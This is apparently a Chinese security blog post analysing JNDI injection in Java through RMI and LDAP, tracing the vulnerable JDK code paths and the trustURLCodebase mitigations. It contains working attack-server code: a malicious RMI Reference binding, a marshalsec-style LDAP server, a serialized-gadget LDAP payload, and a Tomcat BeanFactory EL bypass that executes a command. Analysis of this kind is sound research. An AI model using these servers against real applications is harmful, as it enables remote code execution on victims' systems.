Java / Web · 2021年12月17日 0

JNDI注入原理分析

RMI协议

RMI(Remote Method Invocation)即Java远程方法调用。RMI协议可以使客户端像调用本地对象一样调用远程方法。

RMI包括以下三个部分:

  • Registry:注册中心,提供服务的注册与获取。

  • Server:提供远程方法,同时还会向Registry注册自身提供的远程方法,注册时提供地址、端口号、服务名称等信息。

  • Client:调用远程方法,Client会向Registry获取远程方法的地址、端口号然后调用远程方法。

RMI的完整流程如下

  1. Register启动,监听1099端口

  2. RMIServer向Register注册远程对象,

  3. RMIClient从Register处获得远程对象的代理(Stub),然后RMIClient通过Stub调用远程对象的方法,Stub会根据远程对象的地址和端口号和RMIServer交互。

  4. 同时RMIServer也存在一个代理(Skeltion),Skeltion根据RMIClient调用的方法执行对应的方法并将处理的结果返回给RMIClient。

rmi

然后这里通过代码实现RMI:

RemoteHello接口

首先需要定义一个远程接口:

import java.rmi.Remote;
import java.rmi.RemoteException;

interface RemoteHello extends Remote {
    public String hello() throws RemoteException;
}

RMIServer

然后RMIServer中启动Registry,并在上面注册了一个远程对象:

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class HelloServer extends UnicastRemoteObject implements RemoteHello {

    protected HelloServer() throws RemoteException {}

    @Override
    public String hello() throws RemoteException {
        System.out.println("Function Called");
        return "Hello World";
    }

    public static void main(String[] args) throws Exception {
        RemoteHello server = new HelloServer();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/hello",server);
    }
}

RMIClient

Client使用Naming.lookup拿到远程接口的实现类,然后通过本地的Stub调用远程方法

import java.rmi.Naming;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        String registry = "rmi://127.0.0.1:1099/hello";
        RemoteHello hello = (RemoteHello) Naming.lookup(registry);
        System.out.println(hello.hello());
    }
}

JNDI

JNDI(JavaNaming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,JNDI规范允许我们通过对象的名称来访问这个数据源对象,而该对象可能储存在不同的命名或目录服务中,例如RMI、LDAP、CORBA。

JNDI包括Naming ServiceDirectory Service

  • Naming Service:命名服务是名称与值相关联的实体,称为”绑定”。它提供了一种使用”find”或”search”操作来根据名称查找对象的便捷方式。

  • Directory Service:是一种特殊的Naming Service,它允许存储和搜索”目录对象”,一个目录对象不同于一个通用对象,目录对象可以与属性关联,因此,目录服务提供了对象属性进行操作功能的扩展。

JNDI结合RMI配合使用的实例:

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Properties;

public class Test {
    public static void main(String[] args) throws Exception {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        RemoteHello hello = (RemoteHello) ctx.lookup("hello");
        System.out.println(hello.hello());
    }
}

JNDI还支持动态协议转换,例如:

Context ctx = new InitialContext();
RemoteHello hello = (RemoteHello) ctx.lookup("rmi://127.0.0.1:1099/hello");

在这个例子中没有设置对应服务的工厂以及PROVIDER_URL,JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL。

JNDI注入+RMI

JNDI接口初始化时会将URI传入InitialContext.lookup()方法,如果lookup()方法的参数可控,则可能会造成攻击:

String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
RemoteHello hello = (RemoteHello) ctx.lookup(uri);

RMI Server中除了可以绑定远程对象以外还可以绑定Reference对象。RMI Client调用lookup()方法获取到远程的Reference对象后,客户端会获取相应的ObjectFactory类,通过Factory类将Reference转化为具体的实例。这里的利用点在于Reference类可控classFactoryLocation参数,当本地找不到ObjectFactory类时会去classFactoryLocation参数指向的地址获取ObjectFactory类进行加载。

在恶意服务器上的代码如下:

LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:8888/#Exploit";
Reference ref = new Reference("Exploit", "Exploit", url);
ReferenceWrapper refw = new ReferenceWrapper(ref);
Naming.bind("rmi://127.0.0.1:1099/Exploit",refw);

这里因为RMI注册的类必须实现Remote接口和继承UnicastRemoteObject类,而Reference类没有实现Remote接口也没有继承UnicastRemoteObject类,所以需要使用ReferenceWrapper类对其进行封装。

这里还是对JDK源码对攻击流程进行分析:

首先入口是在InitialContext.lookup(),它通过一系列操作调用到了RegistryContext.lookup()方法。

image-20211215163516240

在这里先调用了registry.lookup()方法,在lookup()方法中用这两行代码读取ReferenceWrapper类然后返回

java.io.ObjectInput in = call.getInputStream();
$result = (java.rmi.Remote) in.readObject();

接着将obj传入了decodeObject()方法,然后在decodeObject()方法中调用了NamingManager.getObjectInstance()方法对类进行实例化。

NamingManager.getObjectInstance()方法中需要获取到ObjectFactory类并利用ObjectFactory对远程类进行实例化

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
    return factory.getObjectInstance(ref, name, nameCtx,environment);
}

在调用getObjectFactoryFromReference()方法获取ObjectFactory类时调用了helper.loadClass()方法对远程的ObjectFactory类进行加载并实例化:

clas = helper.loadClass(factoryName, codebase);

然后就会去远程的恶意服务器获取字节码进行加载,造成RCE。

整个利用流程如下:

  • 首先需要编写恶意类,可以在构造方法、静态方法或getObjectInstance()方法中写恶意代码

  • 在RMI Server中绑定一个用ReferenceWrapper封装的Reference类,其中指定classFactoryLocation为远程类的地址,该地址可以是file/http/ftp协议的

  • 然后RMI Client调用InitialContext.lookup()方法时RMI Server返回一个Reference类,接着RMI Client会动态加载并实例化ObjectFactory类,并调用ObjectFactory类的getObjectInstance()方法

  • 在本地找不到ObjectFactory类时,会去远程的恶意服务器获取ObjectFactory类进行加载并实例化造成RCE

但是在JDK 6u132、7u122、8u113之后新增了com.sun.jndi.rmi.object.trustURLCodebase选项,并且默认值为false,不允许从远程的Codebase加载Reference的工厂类。decodeObject()方法中有对com.sun.jndi.rmi.object.trustURLCodebase进行判断

image-20211215171703401

JNDI注入+LDAP

使用LDAP进行JNDI注入的原理与RMI类似,都使用了Reference远程加载Factory类,而且LDAP不受com.sun.jndi.rmi.object.trustURLCodebase的影响。

LDAP Server的代码如下(改自marshalsec):

class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] args ) throws Exception {
        String url = "http://127.0.0.1:8888/#Exploit";
        int port = 9999;
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("0.0.0.0"),
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));
        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port);
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        final private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

Ldap Client代码如下:

String registry = "ldap://127.0.0.1:9999/Exploit";
Context ctx = new InitialContext();
ctx.lookup(registry);

然后将恶意类编译后放在http页面,客户端调用InitialContext.lookup()方法时可进行RCE。

然后还是对执行的流程进行分析,这里直接开始看LdapCtx.c_lookup()方法,下面这两行代码比较关键:

if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
    // serialized object or object reference
    obj = Obj.decodeObject(attrs);
}
//somecode
return DirectoryManager.getObjectInstance(obj, name,this, envprops, attrs);

首先调用Obj.decodeObject()方法获取到Reference类,然后将其传入DirectoryManager.getObjectInstance()方法。

Obj.decodeObject()方法中检测到attr中包含javaNamingReference则会进入decodeReference()方法,该方法中实例化了一个Reference类并返回

Reference ref = new Reference(className, factory,
    (codebases != null? codebases[0] : null));

然后进入到DirectoryManager.getObjectInstance()方法,后面的调用就和RMI一样,调用getObjectFactoryFromReference()方法获取ObjectFactory类用于加载远程类,在加载Factory类时去classFactoryLocation指向的恶意服务器上面获取到了恶意类导致RCE。

然后在JDK 6u211、7u201、8u191之后新增了com.sun.jndi.ldap.object.trustURLCodebase选项,并且默认值为false,默认不允许ldap加载远程工厂类

image-20211215223853207

利用javaSerializedData触发本地Gadget

在分析LDAP进行JNDI注入流程时发现在Obj.decodeObject()方法中有这样一段代码

image-20211216162640410

如果在attr中存在javaSerializedData则进入到deserializeObject()方法中,然后在deserializeObject()方法中执行了readObject()操作

image-20211216162932569

我本地的JDK版本是JDK8u312,在执行deserializeObject()方法前判断了com.sun.jndi.ldap.object.trustSerialData是否为true。我看了下Github,对trustSerialData的判断大概是在今年9月份添加的,jdk8u282版本及以下都还是能用的。

这里先在maven中引入Commons-Collections-3.1库

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

然后使用ysoserial工具选择CC5的链生成payload,服务端代码如下:

class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] args ) throws Exception {
        int port = 9999;
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("0.0.0.0"),
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));
        config.addInMemoryOperationInterceptor(new OperationInterceptor());
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port);
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                e.addAttribute("javaClassName", "foo");
                e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyAC5q……base64 cc5 here……AAAAAHh4"));
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
    }
}

这里测试时手动将com.sun.jndi.ldap.object.trustSerialData设置为了false,客户端代码如下:

System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "true");
String registry = "ldap://127.0.0.1:9999/Exploit";
Context ctx = new InitialContext();
ctx.lookup(registry);

执行客户端代码之后会对javaSerializedData进行反序列化造成RCE。

可以弹出计算器:

image-20211217171429969

利用本地Factory类

在JDK8u191版本以后限制了远程Factory类的加载后,还可以利用本地Factory类进行RCE。之前利用远程Factory类进行RCE时,在NamingManager.getObjectInstance()方法中在这里获取到了远程的Factory类进行加载然后造成RCE。

image-20211217162202919

然后它获取到Factory类之后还会调用getObjectInstance()类对Reference引用的类进行实例化。

这个本地Factory类需要实现javax.naming.spi.getObjectInstance接口,这里可以利用org.apache.naming.factory.BeanFactory类作为本地Factory类,然后将javax.el.ELProcessor类作为目标类,利用EL表达式执行命令。这里用到的这个类需要在Tomcat 8+SpringBoot 1.2.x+的环境。

BeanFactory类的getObjectInstance()方法中通过反射对传入的Reference类指向的beanClass进行了实例化。

image-20211217164247183

然后调用了setter对属性进行赋值。这里还可以使用forceString将某个方法强制指定为setter,可以将javax.el.ELProcessor类的eval方法指定为setter,然后可以调用javax.el.ELProcessor类的eval方法利用EL表达式执行命令。

image-20211217164620873

这里要先在maven中加入这一段引入相关的库:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.apache.el</groupId>
    <artifactId>com.springsource.org.apache.el</artifactId>
    <version>7.0.26</version>
</dependency>

RMI Server代码:

LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://127.0.0.1:1099/Exploit",referenceWrapper);

RMI Client代码:

String url = "rmi://127.0.0.1:1099/Exploit";
Context ctx = new InitialContext();
ctx.lookup(url);

执行后可以弹出计算器:

image-20211217165348339

Referer

https://www.anquanke.com/post/id/221917

https://paper.seebug.org/1207/

https://paper.seebug.org/942/

https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/